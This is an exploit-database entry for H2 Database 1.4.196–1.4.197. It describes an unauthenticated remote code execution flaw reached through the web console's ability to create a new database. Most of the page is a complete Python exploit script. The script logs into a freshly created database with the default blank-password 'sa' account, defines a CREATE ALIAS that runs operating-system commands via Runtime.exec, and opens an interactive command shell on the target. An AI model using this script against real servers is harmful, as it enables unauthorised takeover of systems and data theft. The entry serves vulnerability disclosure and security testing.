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H2 Database
by:
h4ckNinja
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Remote Code Execution
CWE
Product Name: H2 Database
Affected Version From: 1.4.0196
Affected Version To: 1.4.0197
Patch Exists: NO
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Platforms Tested: macOS, Linux
2018

H2 Database 1.4.196 – Remote Code Execution

This takes advantage of the CREATE ALIAS RCE (https://www.exploit-db.com/exploits/44422/). When the test database has a password that is unknown, it is still possible to get the execution by creating a new database. The web console allows this by entering the name of the new database in the connection string. When the new database is created, the default credentials of username “sa” and password “” (blank) are created. The attacker is logged in automatically. The attached Python code, modified from 44422, demonstrates this.

Mitigation:

Apply the latest patch or upgrade to a newer version of the software.
Source

Exploit-DB raw data:

# Exploit Title: H2 Database 1.4.196 - Remote Code Execution
# Google Dork: N/A
# Date: 2018-09-24
# Exploit Author: h4ckNinja
# Vendor Homepage: https://www.h2database.com/
# Software Link: http://www.h2database.com/h2-2018-03-18.zip
# Version: 1.4.196 and 1.4.197
# Tested on: macOS/Linux
# CVE: N/A

# This takes advantage of the CREATE ALIAS RCE (https://www.exploit-db.com/exploits/44422/). 
# When the test database has a password that is unknown, it is still possible to get the execution 
# by creating a new database. The web console allows this by entering the name of the new database 
# in the connection string. When the new database is created, the default credentials of 
# username “sa” and password “” (blank) are created. The attacker is logged in automatically. 
# The attached Python code, modified from 44422, demonstrates this.

#!/usr/bin/env python

'''
Exploit Title: Unauthenticated RCE
Date: 2018/09/24
Exploit Author: h4ckNinja
Vendor: http://www.h2database.com/
Version: all versions
Tested on: Linux, Mac
Description: Building on the Alias RCE, there's an authentication bypass to create a database, and then login to that one.
Modified from: https://www.exploit-db.com/exploits/44422/
'''

import random
import string
import sys
import argparse
import html
import requests


def getSession(host):
	url = 'http://{}'.format(host)
	r = requests.get(url)
	path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('.jsp', '.do')

	return '{}/{}'.format(url, path)

def login(url, database):
	data = {
		'language': 'en',
		'setting': 'Generic H2 (Embedded)',
		'name': 'Generic H2 (Embedded)',
		'driver': 'org.h2.Driver',
		'url': database,
		'user': 'sa',
		'password': ''
	}

	print('[*] Attempting to create database')
	r = requests.post(url, data=data)

	if '<th class="login">Login</th>' in r.text:
		return False

	print('[+] Created database and logged in')

	return True

def prepare(url):
	cmd = '''CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }$$;'''
	url = url.replace('login', 'query')

	print('[*] Sending stage 1')

	r = requests.post(url, data={'sql': cmd})

	if not 'NullPointerException' in r.text:
		print('[+] Shell succeeded - ^c or quit to exit')
		return url

	return False

def execve(url, cmd):
	r = requests.post(url, data={'sql':"CALL EXECVE('{}')".format(cmd)})

	try:
		execHTML = html.unescape(r.text.split('</th></tr><tr><td>')[1].split('</td>')[0].replace('<br />','\n').replace('&nbsp;',' ')).encode('utf-8').decode('utf-8','ignore')
		print(execHTML)

	except Exception as e:
		print('[-] Invalid command (' + str(e) + ')')


if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	randString = ''.join(random.choices(string.ascii_letters + string.digits, k=5))

	parser.add_argument('-H',
			'--host',
			dest='host',
			metavar='127.0.0.1:8082',
			help='Specify a host',
			required=True)

	parser.add_argument('-d',
			'--database-url',
			dest='database',
			metavar='jdbc:h2:~/emptydb-' + randString,
			default='jdbc:h2:~/emptydb-' + randString,
			help='Database URL',
			required=False)

	args = parser.parse_args()

url = getSession(args.host)

if login(url, args.database):
	success = prepare(url)

	if success:
		while True:
			try:
				cmd = input('h2-shell$ ')

				if 'quit' not in cmd:
					execve(success, cmd)

				else:
					print('[+] Shutting down')
					sys.exit(0)

			except KeyboardInterrupt:
				print()
				print('[+] Shutting down')
				sys.exit(0)

	else:
		print('[-] Something went wrong injecting the payload.')

else:
	print('[-] Unable to login')